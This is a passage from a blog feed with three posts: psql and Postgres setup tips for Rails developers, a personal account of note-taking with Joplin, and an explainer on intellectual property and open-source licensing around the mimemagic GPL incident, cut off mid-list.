            <description><![CDATA[Postgresql is one of the most advanced open source database available in the market. Adherence to the SQL standards and super cool extra features are few of the reason by Postgres being the most popular database among rails community. This is neither introduction to Postgres nor rails. This series is for the folks who have been using rails and Postgres for one or more years.
In part 0 we will walk through the tips for postgres setup to increase the productivity.
ActiveRecord orm which is built into rails provides a lot of cool methods to access the data in rubyistic way. But it is important to get familiarize with the native Postgres tooling for many tasks.
Psql
Psql is the official commandline client for postgresql, rails does have shortcut to open psql using the configuration from database configuration as rails dbconsole. But you can also open by using psql command on your command line client.
psql -h localhost -U username databasename
Above is the basic syntax for opening psql console, Once you enter that you will be greeted with psql console if the credentials given are correct.
Now let’s go through few psql tips
Backward slash commands
psql supports a lot of useful configuration options to improve the experiance in postgresql shell.
\timing
Timing command add the time taken to run the command, this is handy when optimizing query performance

[local] abomk@cv_dump=#SELECT COUNT(id) from users;
? 45129 ?
?????????

[local] abomk@cv_dump=#\timing
Timing is on.
[local] abomk@cv_dump=#SELECT COUNT(id) from users;
? 45129 ?
?????????

Time: 8.412 ms


\s
Get posgtres commands history, this is handy for documenting the stuff after doing experiments with different queries and many more. You can also choose to save the history by providing filename as the parameter as \s filename
\i filename
Load query from file. Big queries are often convent to write in a text editor, \i enables loading a query from a file and execute it.
\e
This another approach to solve the difficulty of writing multi line queries in a shell environment, When you give \e command, psql will open the text editor you set $EDITOR to open the query. You can edit and close the file, content will be copied to posql shell, and you can execute.
You can find more such commands from posgrestutorials and pgdash
Managing multiple versions of postgres
It is important to have the same version of postgres in your development setup as the production version. If you have multiple apps with diffrent versions of postgres versions, you can use pgenv to configure multiple versions of Postgres in your local. There are other options like asdf-postgres
Use different pager
The default pager is somewhat difficult to read when there are too many columns. pspg is an alternate pager you can use with Postgres
Save your psql settings in your psqlrc
You can save the psql configurations we discussed above in a file so that you don’t need to repeat every time you open the psql shell. Here is my psql configuration for reference
\set ON_ERROR_ROLLBACK interactive
\set COMP_KEYWORD_CASE upper
\set HISTFILE ~/.psql/history- :DBNAME
\set VERBOSITY verbose
\set PROMPT1 '%[%033[1m%]%M %n@%/%R%[%033[0m%]%#'
\setenv PAGER pspg
\pset border 2
\pset linestyle unicode
\set null '(null)'

You can find explanation of individual configurations from thoughtbot blog
Pgcli
Pgcli is an alternate postgresql client with additional features like autocompletion of table and sql queries.
We will go through more tips in coming articles, while it is not mandatory to follow the above setup for cominig articles, it is good to have to get hands on with psql shell]]></description>
            <content:encoded><![CDATA[<p>Postgresql is one of the most advanced open source database available in the market. Adherence to the SQL standards and super cool extra features are few of the reason by Postgres being the most popular database among rails community. This is neither introduction to Postgres nor rails. This series is for the folks who have been using rails and Postgres for one or more years.</p>

<p>In part 0 we will walk through the tips for postgres setup to increase the productivity.</p>

<p>ActiveRecord orm which is built into rails provides a lot of cool methods to access the data in rubyistic way. But it is important to get familiarize with the native Postgres tooling for many tasks.</p>

<h2 id="psql">Psql</h2>

<p>Psql is the official commandline client for postgresql, rails does have shortcut to open <code class="language-plaintext highlighter-rouge">psql</code> using the configuration from database configuration as <code class="language-plaintext highlighter-rouge">rails dbconsole</code>. But you can also open by using <code class="language-plaintext highlighter-rouge">psql</code> command on your command line client.</p>

<p><code class="language-plaintext highlighter-rouge">psql -h localhost -U username databasename</code></p>

<p>Above is the basic syntax for opening psql console, Once you enter that you will be greeted with psql console if the credentials given are correct.</p>

<p>Now let’s go through few psql tips</p>

<h3 id="backward-slash-commands">Backward slash commands</h3>

<p><code class="language-plaintext highlighter-rouge">psql</code> supports a lot of useful configuration options to improve the experiance in postgresql shell.</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">\timing</code></p>

    <p>Timing command add the time taken to run the command, this is handy when optimizing query performance</p>
  </li>
</ul>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="k">local</span><span class="p">]</span> <span class="n">abomk</span><span class="o">@</span><span class="n">cv_dump</span><span class="o">=#</span><span class="k">SELECT</span> <span class="k">COUNT</span><span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
<span class="o">?</span> <span class="mi">45129</span> <span class="o">?</span>
<span class="o">?????????</span>

<span class="p">[</span><span class="k">local</span><span class="p">]</span> <span class="n">abomk</span><span class="o">@</span><span class="n">cv_dump</span><span class="o">=#</span><span class="err">\</span><span class="n">timing</span>
<span class="n">Timing</span> <span class="k">is</span> <span class="k">on</span><span class="p">.</span>
<span class="p">[</span><span class="k">local</span><span class="p">]</span> <span class="n">abomk</span><span class="o">@</span><span class="n">cv_dump</span><span class="o">=#</span><span class="k">SELECT</span> <span class="k">COUNT</span><span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
<span class="o">?</span> <span class="mi">45129</span> <span class="o">?</span>
<span class="o">?????????</span>

<span class="nb">Time</span><span class="p">:</span> <span class="mi">8</span><span class="p">.</span><span class="mi">412</span> <span class="n">ms</span>
</code></pre></div></div>
<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">\s</code></p>

    <p>Get posgtres commands history, this is handy for documenting the stuff after doing experiments with different queries and many more. You can also choose to save the history by providing filename as the parameter as <code class="language-plaintext highlighter-rouge">\s filename</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">\i filename</code></p>
  </li>
</ul>

<p>Load query from file. Big queries are often convent to write in a text editor, <code class="language-plaintext highlighter-rouge">\i</code> enables loading a query from a file and execute it.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">\e</code></li>
</ul>

<p>This another approach to solve the difficulty of writing multi line queries in a shell environment, When you give <code class="language-plaintext highlighter-rouge">\e</code> command, psql will open the text editor you set $EDITOR to open the query. You can edit and close the file, content will be copied to posql shell, and you can execute.</p>

<p>You can find more such commands from <a href="https://www.postgresqltutorial.com/psql-commands/">posgrestutorials</a> and <a href="https://pgdash.io/blog/postgres-psql-tips-tricks.html">pgdash</a></p>

<h3 id="managing-multiple-versions-of-postgres">Managing multiple versions of postgres</h3>

<p>It is important to have the same version of postgres in your development setup as the production version. If you have multiple apps with diffrent versions of postgres versions, you can use <a href="https://github.com/theory/pgenv">pgenv</a> to configure multiple versions of Postgres in your local. There are other options like <a href="https://github.com/smashedtoatoms/asdf-postgres">asdf-postgres</a></p>

<h3 id="use-different-pager">Use different pager</h3>

<p>The default pager is somewhat difficult to read when there are too many columns. <a href="https://github.com/okbob/pspg">pspg</a> is an alternate pager you can use with Postgres</p>

<h3 id="save-your-psql-settings-in-your-psqlrc">Save your psql settings in your psqlrc</h3>

<p>You can save the psql configurations we discussed above in a file so that you don’t need to repeat every time you open the psql shell. Here is my psql configuration for reference</p>

<pre><code class="language-SQL">\set ON_ERROR_ROLLBACK interactive
\set COMP_KEYWORD_CASE upper
\set HISTFILE ~/.psql/history- :DBNAME
\set VERBOSITY verbose
\set PROMPT1 '%[%033[1m%]%M %n@%/%R%[%033[0m%]%#'
\setenv PAGER pspg
\pset border 2
\pset linestyle unicode
\set null '(null)'
</code></pre>
<p>You can find explanation of individual configurations from <a href="https://thoughtbot.com/blog/an-explained-psqlrc">thoughtbot blog</a></p>

<h2 id="pgcli">Pgcli</h2>

<p><a href="https://www.pgcli.com/">Pgcli</a> is an alternate postgresql client with additional features like autocompletion of table and sql queries.</p>

<p>We will go through more tips in coming articles, while it is not mandatory to follow the above setup for cominig articles, it is good to have to get hands on with psql shell</p>]]></content:encoded>
            <author>Aboobacker M K</author>
        </item>
        <item>
            <title><![CDATA[How I take Notes]]></title>
            <link>https://mrkaran.dev/posts/how-i-take-notes/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/how-i-take-notes/</guid>
            <pubDate>Wed, 14 Apr 2021 02:40:55 GMT</pubDate>
            <description><![CDATA[Over the past 2-3 years, note-taking apps have become all the rage. Note-taking is an extremely subjective topic and a lot of it depends on the individual’s workflow. There’s no one size fits all and maybe that justifies the ever-expanding landscape of such apps. I’ve tried a few popular ones (Notion, Roam Research) in the recent past but never really quite stuck to any after the initial hype phase.
I even collaborated with @iamd3vil to make our own version of the Zettelkasten based note-taking app. I found the Zettelkasten system to be really useful on paper but then again, I didn’t use it after a few weeks.
Tried the old school way of Bullet Journal (and I did end up liking it quite a lot) but it was not so practical in many cases (like documenting code snippets, URLs etc).
Disgruntled with all the options, I just had a simple folder on my laptop with some markdown files in it. It was a stop-gap solution until I found something better.
TL;DR: I’ve been through a pendulum phase of finding a new note-taking app, wasting time to set it up the “proper way” and then just end up not using it.
Enter Joplin#

Thanks to @shantanugoel who introduced me to Joplin. He’s a heavy user of it as well and that gave me some confidence to try it out. I initially disliked it because of not-so-great-looking UI theme and how it essentially looked just an editor. Admittedly, I was proven wrong quickly in my initial judgement. As I gave more time to it, I noticed I kept coming back to Joplin “naturally” and stuck through it because it’s so damn simple to use. Notion, for people who have tried it would know it complicates a lot of simple tasks. You need to create databases to render a simple table, every component is a “block” (a new page) and yes it’s slow (although they are working on it to make it better, just to be fair). Notion focuses a lot on team collaboration features, which I didn’t need for my “personal” note-taking system.
TL;DR: Joplin is fast, it’s open-source, it’s based on Markdown, and it’s simple to use. A tool you just forget that it exists, because it becomes a natural extension to your workflow. It has a great plugin system that you can use to extend it and build your own utilities on top of it. The search is based on sqlite3 FTS which is pretty awesome!
Workflow#
Joplin revolves around the concept of notebooks. Notebooks are broader categories for your content and you can nest multiple subnotebooks for specific categories.
I’ve the following notebooks and subnotebooks in my Joplin setup:
- Bookmarks
  - Twitter Threads
  - HN Threads
  - Articles
  - Design Inspo
  - Youtube Videos
- Inbox
  - Links
  - Adhoc Notes
- Personal
  - Finance
  - Dev Setup
  - OSS Ideas
  - Self Hosted Setup
- Work
  - Org-Stuff
  - Redacted
Over the week, I primarily use the Inbox/Adhoc Notes notebook as a brain dump. I don’t focus much on the structure, the aim is to get the content out and stored. I’m also someone who doesn’t like to keep more than 5 browser tabs open at any time, so I use Links notebook with Joplin’s Web Clipper service to store these links to read later.
Every weekend, I clean up these notebooks to achieve “Inbox Zero”. The idea is to move all these ad-hoc notes to their proper notebooks, annotated with tags. All the useful links are moved in the appropriate Bookmarks/... notebook as well. This helps me find stuff quicker at a later time.
I heavily use Tags in all my notebooks, which allows me to have a unified view of different kind of stuff I’ve. For example “golang” tag in my Work notes and Personal notes, allows me to see all the “golang” stuff together in one place.
For stuff that can be shared publicly, I basically copy-paste those notes in my public wiki as well. This allows me to share snippets/commands with others, which Joplin cannot do.
Synchronisation#
Joplin provides a bunch of different sync options. I’ve tried Dropbox, Nextcloud and AWS S3 targets in the past but off late there’s a new sync option, Joplin Server which provides native sync for Joplin files. I found this option to be the best so far because Dropbox/OneNote etc have API limits and syncing on an initial device with lots of notes will be time-consuming.
I self-host this Joplin Sync Server on my server and have configured the Android app and the Desktop app to use this server endpoint as the sync target. So far so good, although it’s relatively a newer sync option so it’s pertinent to have alternate backups.
Backups and Export#
Joplin stores all the files locally on a device in a sqlite3 DB. It can export notes in markdown/HTML format however the file names are all named with the id of the note (and not really the title of the note). I found this to be a bit of a drawback, however, one can quickly whip up a small Python script to fix this using the Joplin API.
Joplin also has the option to export all of the notes and notebooks with their metadata (Geolocation, creation time etc), tags in a custom format called Joplin Export File (JEX). This option is pretty convenient to re-import in a new Joplin installation as well.
Sidenote for people using Joplin Server: Once https://github.com/laurent22/joplin/issues/4836 gets resolved, it’ll be possible to do joplin sync and cron it, just like other sync targets.
Support#
Joplin is 100% FOSS and is actively developed by @laurent22 and a few other regular contributors. I contribute $5/mo to laurent22 via Github Sponsors. It’s more or less the same amount that most note-taking apps charge for personal use as well, so this is just me expressing gratitude for building such a lovely software for the world to use it. I’m not sure of the motivations of laurent22 behind building this and I don’t wanna incorrectly assume anything either, but I guess some amount of financial incentive makes the whole deal sustainable for the open-source ecosystem.
Thanks for reading! It’s been around a year that I am using Joplin and I posted this blog post only after really really using it a lot.
I’d love to know about your note-taking setups too, so please reach out to me on the usual channels that I’m available on and feel free to discuss!
Fin!
(Bonus Section) Why Not Obsidian#
Yes, Obsidian is comparable to Joplin in a lot of ways. However there’s a term in the license of Obsidian for personal use that makes it impossible to use it for your work stuff:
You need to pay for Obsidian if and only if you use it for revenue-generating, work-related activities in a company that has two or more people. Get a commercial license for each user if that’s the case
I don’t have a problem for “paying” for software but such kinda licenses are just BS.]]></description>
            <content:encoded><![CDATA[<p>Over the past 2-3 years, note-taking apps have become all the rage. Note-taking is an extremely subjective topic and a lot of it depends on the individual’s workflow. There’s no one size fits all and maybe that justifies the ever-expanding landscape of such apps. I’ve tried a few popular ones (Notion, Roam Research) in the recent past but never really quite stuck to any after the initial hype phase.</p>
<p>I even collaborated with <a rel="external" href="https://sarat.dev/">@iamd3vil</a> to make our <a rel="external" href="https://github.com/hackstream/zettel/">own version</a> of the Zettelkasten based note-taking app. I found the Zettelkasten system to be really useful on paper but then again, I didn’t use it after a few weeks.</p>
<p>Tried the old school way of Bullet Journal (and I did end up liking it quite a lot) but it was not so practical in many cases (like documenting code snippets, URLs etc).</p>
<p>Disgruntled with all the options, I just had a simple folder on my laptop with some markdown files in it. It was a stop-gap solution until I found something better.</p>
<p><strong>TL;DR</strong>: I’ve been through a pendulum phase of finding a new note-taking app, wasting time to set it up the “proper way” and then just end up not using it.</p>
<h2 id="enter-joplin">Enter Joplin<a class="zola-anchor" href="#enter-joplin" aria-label="Anchor link for: enter-joplin">#</a></h2>
<p><img src="https://mrkaran.dev/images/joplin-desktop.png" alt="image" /></p>
<p>Thanks to <a rel="external" href="https://shantanugoel.com">@shantanugoel</a> who introduced me to <a rel="external" href="https://joplinapp.org/">Joplin</a>. He’s a <a rel="external" href="https://shantanugoel.com/2020/03/20/hammerspoon-backup-joplin-notes-dotfiles-git-macos/">heavy user</a> of it as well and that gave me some confidence to try it out. I initially disliked it because of <em>not-so-great-looking</em> UI theme and how it essentially looked <em>just</em> an editor. Admittedly, I was proven wrong quickly in my initial judgement. As I gave more time to it, I noticed I kept coming back to Joplin “naturally” and stuck through it because it’s so damn simple to use. Notion, for people who have tried it would know it complicates a lot of simple tasks. You need to create databases to render a simple table, every component is a “block” (a new page) and yes it’s slow (although they are <a rel="external" href="https://www.notion.so/notion/Focus-on-performance-reliability-89f937a6ccc04905b1dcfa878537e08d">working on it to make it better</a>, just to be fair). Notion focuses a lot on team collaboration features, which I didn’t need for my “personal” note-taking system.</p>
<p><strong>TL;DR</strong>: Joplin is fast, it’s open-source, it’s based on Markdown, and it’s simple to use. A tool you just forget that it exists, because it becomes a natural extension to your workflow. It has a great plugin system that you can use to extend it and build your own utilities on top of it. The search is based on <code>sqlite3</code> FTS which is pretty awesome!</p>
<h2 id="workflow">Workflow<a class="zola-anchor" href="#workflow" aria-label="Anchor link for: workflow">#</a></h2>
<p>Joplin revolves around the concept of <strong>notebooks</strong>. Notebooks are broader categories for your content and you can nest multiple subnotebooks for specific categories.</p>
<p>I’ve the following notebooks and subnotebooks in my Joplin setup:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>- Bookmarks</span></span>
<span class="giallo-l"><span>  - Twitter Threads</span></span>
<span class="giallo-l"><span>  - HN Threads</span></span>
<span class="giallo-l"><span>  - Articles</span></span>
<span class="giallo-l"><span>  - Design Inspo</span></span>
<span class="giallo-l"><span>  - Youtube Videos</span></span>
<span class="giallo-l"><span>- Inbox</span></span>
<span class="giallo-l"><span>  - Links</span></span>
<span class="giallo-l"><span>  - Adhoc Notes</span></span>
<span class="giallo-l"><span>- Personal</span></span>
<span class="giallo-l"><span>  - Finance</span></span>
<span class="giallo-l"><span>  - Dev Setup</span></span>
<span class="giallo-l"><span>  - OSS Ideas</span></span>
<span class="giallo-l"><span>  - Self Hosted Setup</span></span>
<span class="giallo-l"><span>- Work</span></span>
<span class="giallo-l"><span>  - Org-Stuff</span></span>
<span class="giallo-l"><span>  - Redacted</span></span></code></pre>
<p>Over the week, I primarily use the <code>Inbox/Adhoc Notes</code> notebook as a brain dump. I don’t focus much on the structure, the aim is to get the content out and stored. I’m also someone who doesn’t like to keep more than 5 browser tabs open at any time, so I use <code>Links</code> notebook with Joplin’s <a rel="external" href="https://joplinapp.org/clipper/">Web Clipper</a> service to store these links to read later.</p>
<p>Every weekend, I clean up these notebooks to achieve “Inbox Zero”. The idea is to move all these ad-hoc notes to their proper notebooks, annotated with tags. All the useful links are moved in the appropriate <code>Bookmarks/...</code> notebook as well. This helps me find stuff quicker at a later time.</p>
<p>I heavily use Tags in all my notebooks, which allows me to have a unified view of different kind of stuff I’ve. For example “golang” tag in my Work notes and Personal notes, allows me to see all the “golang” stuff together in one place.</p>
<p>For stuff that can be shared publicly, I basically copy-paste those notes in my <a rel="external" href="https://notes.mrkaran.dev/">public wiki</a> as well. This allows me to share snippets/commands with others, which Joplin cannot do.</p>
<h2 id="synchronisation">Synchronisation<a class="zola-anchor" href="#synchronisation" aria-label="Anchor link for: synchronisation">#</a></h2>
<p>Joplin provides a bunch of different <a rel="external" href="https://joplinapp.org/#synchronisation">sync</a> options. I’ve tried Dropbox, Nextcloud and AWS S3 targets in the past but off late there’s a new sync option, <a rel="external" href="https://github.com/laurent22/joplin/blob/dev/packages/server/README.md">Joplin Server</a> which provides native sync for Joplin files. I found this option to be the best so far because Dropbox/OneNote etc have API limits and syncing on an initial device with lots of notes will be time-consuming.</p>
<p>I self-host this Joplin Sync Server on my server and have configured the Android app and the Desktop app to use this server endpoint as the sync <code>target</code>. So far so good, although it’s relatively a newer sync option so it’s pertinent to have alternate backups.</p>
<h2 id="backups-and-export">Backups and Export<a class="zola-anchor" href="#backups-and-export" aria-label="Anchor link for: backups-and-export">#</a></h2>
<p>Joplin stores all the files locally on a device in a <code>sqlite3</code> DB. It can export notes in markdown/HTML format however the file names are all named with the <code>id</code> of the note (and not really the title of the note). I found this to be a bit of a drawback, however, one can quickly whip up a small Python script to fix this using the Joplin API.</p>
<p>Joplin also has the option to export all of the notes and notebooks with their metadata (Geolocation, creation time etc), tags in a custom format called Joplin Export File (JEX). This option is pretty convenient to re-import in a new Joplin installation as well.</p>
<p>Sidenote for people using Joplin Server: Once https://github.com/laurent22/joplin/issues/4836 gets resolved, it’ll be possible to do <code>joplin sync</code> and cron it, just like other sync targets.</p>
<h2 id="support">Support<a class="zola-anchor" href="#support" aria-label="Anchor link for: support">#</a></h2>
<p>Joplin is 100% FOSS and is actively developed by <a rel="external" href="https://github.com/laurent22/"><code>@laurent22</code></a> and a few other regular contributors. I contribute <code>$5/mo</code> to laurent22 via Github Sponsors. It’s more or less the same amount that most note-taking apps charge for personal use as well, so this is just me expressing gratitude for building such a lovely software for the world to use it. I’m not sure of the motivations of <code>laurent22</code> behind building this and I don’t wanna incorrectly assume anything either, but I guess some amount of financial incentive makes the whole deal sustainable for the open-source ecosystem.</p>
<p>Thanks for reading! It’s been around a year that I am using Joplin and I posted this blog post only after really really using it a lot.</p>
<p>I’d love to know about your note-taking setups too, so please reach out to me on the usual channels that I’m available on and feel free to discuss!</p>
<p>Fin!</p>
<h4 id="bonus-section-why-not-obsidian">(Bonus Section) Why Not Obsidian<a class="zola-anchor" href="#bonus-section-why-not-obsidian" aria-label="Anchor link for: bonus-section-why-not-obsidian">#</a></h4>
<p>Yes, Obsidian is comparable to Joplin in a lot of ways. However there’s a term in the <a rel="external" href="https://obsidian.md/eula">license</a> of Obsidian for personal use that makes it <strong>impossible</strong> to use it for your work stuff:</p>
<blockquote>
<p>You need to pay for Obsidian if and only if you use it for revenue-generating, work-related activities in a company that has two or more people. Get a commercial license for each user if that’s the case</p>
</blockquote>
<p>I don’t have a problem for “paying” for software but such kinda licenses are just BS.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Intellectual property, Open source and mimemagic]]></title>
            <link>https://aboobacker.in/2021/03/28/intellectual-property-open-source-and-mimemagic.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2021/03/28/intellectual-property-open-source-and-mimemagic.html</guid>
            <pubDate>Sun, 28 Mar 2021 18:47:00 GMT</pubDate>
            <description><![CDATA[The alleged GPL violation in a ruby library called mimemagic which broke builds of rails projects across the world brought discussion of Intellectual property in the software world one more time last week. It is important to have a general idea about these terms for a software developer to avoid getting into big troubles in the future.
This is my attempt to write down my understanding about open source and Intellectual property, I am not a lawyer and the implementation of IP is based on the local laws which is not universal.
Though the modern concept of IP is originated from the exclusive access to rights and grants by the British monarch, it soon became a mechanism to promote the creation of intellectual goods, by giving the inventors some rights to the work they made.
Though IP may sound an alien term, it is something critical for any company, for instance, company name, logo, design of the logo etc are trademarks which is a kind of intellectual property. This enables companies to protect reputation and goodwill of the brand by preventing others from copying same brand symbols to sell their products.
Content produced by the company is protected by copyright, this also includes the software they made, in almost all legislations content produced is inherently owned by the author and protected by copyright, this prevents unauthorized access and redistribution of content by other people.
Another important intellectual property is patent which provides protection for innovative ideas, unlike copyright patent requires registration within a particular timeframe to the government agency. In general Patent protects ideas and copyright protects manifestation of that idea
There are other IPs like trade secrets which I am not covering here to limit the scope of the article.
Historically hardware was the most expensive piece of a computer and program or the software that runs on them wasn’t valued as important. But as more software distribution patterns emerged people started distributing just binaries of the software which prevented users from changing the software as per their needs. Richard R Stallman who was working in MIT lab during this period had a big trouble because of this, they used to adjust the printer firmware as per their need of paper size, But the new printer firmware came with just binary format which prevented from making the modification which caused wastage of papers they already had, Stallman requested the firmware owner to share the source code, but he refused.
That incident hit him big as usage of a computer owned by the user is dictated by the firmware owner. He believed this is a big ethical and social issue. He launched the GNU project in 1983 to create an operating system consisting of only free software. As per his own words the word free of “free” as in “free speech,” not as in “free beer”. Many including Linux followed this approach and many free software programs became available in the market.
In late 90s some people in industry realized the advantage of having free software in the enterprise world, i.e. when the code is shared more people can learn and adapt from it and there by saving time and cost. They also a coined a term called “Open Source” since people may easily interpret free software as free of cost software.
While free softwares and open source softwares and practically largely the same, they are two movements with different motivations but almost the same path to achieve their goals. While free software movement is from the perspective of the user to have full control of his/her system, open source is from the perspective of software engineer or company to get benefit from shared source code.
Open source Initiative, which formalized the open source with 10 rules and listed software licenses compatible with these rules as open source licenses.
But why does an open source software need license?
The Answer is simple, as we discussed in the initial section, any content produced is owned by the author and others can’t redistribute without author’s permission. Licenses are contract from a software developer to  the user to share some of his/her/their rights to the user, In the case of open source it will be freedom to redistribute, make derived work etc. In other words open source licenses  Grants certain IP rights to users who are subject to license. This is different from EULA(End user license agreement) we see in the proprietary softwares which is to limit what the user can do with the software we purchased.
Also keep in mind that open source is not public domain which are the work which is not owned by anyone
There are many kinds of open source licenses ranging from permissive license which doesn’t ask the users anything more than attribution to copyleft licenses which mandate you to make your software of also open source if you use one in your software.
I’ll be writing another article about commonly used licenses and things to be taken care of while using such licenses in another post, till then you can refer this awesome website.
Now let’s go back to the incident that happened in the last week. freedesktop is a project on interoperability of free software projects, they maintain the list of mime types and is licensed under GPL. GPL is a very restrictive license and if you want to link your software to a GPLed software and distribute, then you will have to license your software with the same restrictions. In other words, you can’t directly link a  software linked with a gpled software/code and distribute under proprietary or permissive open source license like MIT. The mimemagic gem which is MIT licensed used this GPLed code from freedesktop which is violation of GPL license. Initial fix to convert mimemagic license to GPL. But due to the nature of copyleft licenses, software which includes mimemagic will also have to comply GPL rules. So they later removed the GPLed file and made the library to use mime data from the user’s computer.
This may raise some questions about using GPL programs you use with your closed source(projects which are not open source) projects. First, you don’t have to care much about GPL in backend of software as service model like most websites does, as you are just distributing the output of the software, not the software itself to the end user, this is also called as saas loophole. Even if you aren’t, it is unlikely that mysql being part of your source code, if you are just mysql as database, you are using its SQL interface and not as part of your programs.
Now let’s look at the common errors developers make due to lack of awareness about IP,
Copy and paste snippets from stackoverflow (read more here).
Copy open source code snippets from GitHub
Even if the code is open source, some may require making your code also open source, some require attribution.
Copy code snippets from GitHub or other publically available places
If you found some code on GitHub or any publically accessible places, you shouldn’t assume that code is open source unless license is explicitly given. For instance projects without explicit license in GitHub, all you can do is read the code and fork, you aren’t supposed to change the code
Forking open source projects without changing trademarks
Even when the open source project is licensed under permissive open source license, it doesn’t grant you to use it’s trademark for redistribution. For example you can’t simply fork mysql and sell it as mysql
Open sourcing stuff without proper planning
When you are open sourcing certain part of codebase, you must have a plan for what to do with the contributions, For instance when you release a component of your code base as open source and someone from community send a pull request and you merged to your repo, by default the person who contributed will have the copyright of the code, company can only use that code as per the license given in the repository. CLA Can be used as a workaround for this
Do you have more examples? Feel free to comment below.
We covered the general IP concepts and it’s significanse in open source, I am not a lawyer and this blogpost is not a legal opinion. So talk to your lawyer before making legal decisons]]></description>
            <content:encoded><![CDATA[<p>The alleged GPL violation in a ruby library called mimemagic which broke builds of rails projects across the world brought discussion of Intellectual property in the software world one more time last week. It is important to have a general idea about these terms for a software developer to avoid getting into big troubles in the future.</p>

<p>This is my attempt to write down my understanding about open source and Intellectual property, I am not a lawyer and the implementation of IP is based on the local laws which is not universal.</p>

<p>Though the modern concept of IP is originated from the exclusive access to rights and grants by the British monarch, it soon became a mechanism to promote the creation of intellectual goods, by giving the inventors some rights to the work they made.</p>

<p>Though IP may sound an alien term, it is something critical for any company, for instance, company name, logo, design of the logo etc are <strong>trademarks</strong> which is a kind of intellectual property. This enables companies to protect reputation and goodwill of the brand by preventing others from copying same brand symbols to sell their products.</p>

<p>Content produced by the company is protected by <strong>copyright</strong>, this also includes the software they made, in almost all legislations content produced is inherently owned by the author and protected by copyright, this prevents unauthorized access and redistribution of content by other people.</p>

<p>Another important intellectual property is <strong>patent</strong> which provides protection for innovative ideas, unlike copyright patent requires registration within a particular timeframe to the government agency. In general Patent protects ideas and copyright protects manifestation of that idea</p>

<p>There are other IPs like trade secrets which I am not covering here to limit the scope of the article.</p>

<p>Historically hardware was the most expensive piece of a computer and program or the software that runs on them wasn’t valued as important. But as more software distribution patterns emerged people started distributing just binaries of the software which prevented users from changing the software as per their needs. Richard R Stallman who was working in MIT lab during this period had a big trouble because of this, they used to adjust the printer firmware as per their need of paper size, But the new printer firmware came with just binary format which prevented from making the modification which caused wastage of papers they already had, Stallman requested the firmware owner to share the source code, but he refused.</p>

<p>That incident hit him big as usage of a computer owned by the user is dictated by the firmware owner. He believed this is a big ethical and social issue. He launched the GNU project in 1983 to create an operating system consisting of only free software. As per his own words the word free of “free” as in “free speech,” not as in “free beer”. Many including Linux followed this approach and many free software programs became available in the market.</p>

<p>In late 90s some people in industry realized the advantage of having free software in the enterprise world, i.e. when the code is shared more people can learn and adapt from it and there by saving time and cost. They also a coined a term called “Open Source” since people may easily interpret free software as free of cost software.</p>

<p>While free softwares and open source softwares and practically largely the same, they are two movements with different motivations but almost the same path to achieve their goals. While free software movement is from the perspective of the user to have full control of his/her system, open source is from the perspective of software engineer or company to get benefit from shared source code.</p>

<p>Open source Initiative, which formalized the open source with 10 <a href="https://opensource.org/osd">rules</a> and listed software licenses compatible with these rules as open source licenses.</p>

<p>But why does an open source software need license?</p>

<p>The Answer is simple, as we discussed in the initial section, any content produced is owned by the author and others can’t redistribute without author’s permission. Licenses are contract from a software developer to  the user to share some of his/her/their rights to the user, In the case of open source it will be freedom to redistribute, make derived work etc. In other words open source licenses  Grants certain IP rights to users who are subject to license. This is different from EULA(End user license agreement) we see in the proprietary softwares which is to limit what the user can do with the software we purchased.</p>

<p>Also keep in mind that open source is not public domain which are the work which is not owned by anyone</p>

<p>There are many kinds of open source licenses ranging from permissive license which doesn’t ask the users anything more than attribution to copyleft licenses which mandate you to make your software of also open source if you use one in your software.</p>

<p>I’ll be writing another article about commonly used licenses and things to be taken care of while using such licenses in another post, till then you can refer <a href="https://tldrlegal.com/">this awesome website</a>.</p>

<p>Now let’s go back to the incident that happened in the last week. freedesktop is a project on interoperability of free software projects, they maintain the list of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">mime types</a> and is licensed under <a href="https://tldrlegal.com/license/gnu-general-public-license-v3-(gpl-3)">GPL</a>. GPL is a very restrictive license and if you want to link your software to a GPLed software and distribute, then you will have to license your software with the same restrictions. In other words, you can’t directly link a  software linked with a gpled software/code and distribute under proprietary or permissive open source license like MIT. The mimemagic gem which is MIT licensed used this GPLed code from freedesktop which is violation of GPL license. Initial fix to convert mimemagic license to GPL. But due to the nature of copyleft licenses, software which includes mimemagic will also have to comply GPL rules. So they later removed the GPLed file and made the library to use mime data from the user’s computer.</p>

<p>This may raise some questions about using GPL programs you use with your closed source(projects which are not open source) projects. First, you don’t have to care much about GPL in backend of software as service model like most websites does, as you are just distributing the output of the software, not the software itself to the end user, this is also called as <a href="https://resources.whitesourcesoftware.com/blog-whitesource/the-saas-loophole-in-gpl-open-source-licenses">saas loophole</a>. Even if you aren’t, it is unlikely that mysql being part of your source code, if you are just mysql as database, you are using its SQL interface and not as part of your programs.</p>

<p>Now let’s look at the common errors developers make due to lack of awareness about IP,</p>

<ul>
  <li>
    <p>Copy and paste snippets from stackoverflow (read more <a href="https://meta.stackexchange.com/questions/12527/do-i-have-to-worry-about-copyright-issues-for-code-posted-on-stack-overflow">here</a>).</p>
  </li>
  <li>
    <p>Copy open source code snippets from GitHub</p>

    <p>Even if the code is open source, some may require making your code also open source, some require attribution.</p>
  </li>
  <li>
    <p>Copy code snippets from GitHub or other publically available places</p>

    <p>If you found some code on GitHub or any publically accessible places, you shouldn’t assume that code is open source unless license is explicitly given. For instance projects without explicit license in GitHub, all you can do is read the code and fork, you aren’t supposed to change the code</p>
  </li>
  <li>
    <p>Forking open source projects without changing trademarks</p>

